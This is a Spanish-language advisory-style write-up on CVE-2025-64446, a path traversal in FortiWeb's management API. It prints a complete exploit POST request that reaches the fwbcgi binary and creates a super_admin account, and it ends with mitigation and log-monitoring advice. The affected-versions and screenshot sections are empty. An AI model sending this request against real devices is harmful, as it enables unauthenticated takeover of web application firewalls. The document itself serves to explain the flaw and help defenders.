---

📌 Resumen

CVE-2025-64446 es una grave vulnerabilidad de salto de ruta relativa en la interfaz de gestión de FortiWeb Web Application Firewall.

Un atacante remoto no autenticado puede explotar esta falla para eludir la autenticación y crear nuevos usuarios administradores con todos los privilegios, lo que lleva a un compromiso total del dispositivo.

• Puntuación CVSS v3.1: 9.8 (Crítica)
• Tipo de ataque: Remoto no autenticado
• Impacto: Toma de control administrativo total
• Estado: Explotado activamente en la naturaleza

---

🛠️ Versiones Afectadas

Recomendación: Actualice a la versión parcheada más reciente lo antes posible.

---

🔥 Cómo Explotan los Atacantes Esta Vulnerabilidad

Explotación Paso a Paso

1. Identificación del Objetivo
   El atacante escanea interfaces de gestión de FortiWeb expuestas públicamente (generalmente en el puerto HTTPS 443 o 8443).

2. Creación de la Solicitud Maliciosa
   El núcleo del exploit es un salto de ruta relativa (../) combinado con una URL especialmente diseñada que alcanza un endpoint CGI interno no autenticado.

   Patrón de Endpoint Vulnerable:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Envío del Exploit

   El atacante envía una única solicitud POST con un payload JSON para crear una nueva cuenta de administrador.

   Ejemplo de Solicitud de Exploit:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Explotación Exitosa

   Si tiene éxito, FortiWeb crea la nueva cuenta de administrador sin requerir autenticación previa. El atacante puede entonces iniciar sesión con las credenciales recién creadas y obtener el control total del WAF.

Por Qué Funciona

La API de gestión no sanean correctamente la ruta, lo que permite que la solicitud retroceda al binario heredado fwbcgi, que no aplica autenticación en ciertas operaciones.

---

📸 Capturas de Pantalla

---

🛡️ Mitigación y Mejores Prácticas

• Actualice inmediatamente FortiWeb a una versión corregida
• Nunca exponga la interfaz de administración directamente a Internet
• Utilice segmentación de red sólida y VPN para el acceso administrativo
• Monitoree los registros en busca de solicitudes que contengan fwbcgi, ../ o intentos inusuales de creación de administradores
• Audite regularmente las cuentas de administrador para detectar entradas sospechosas

---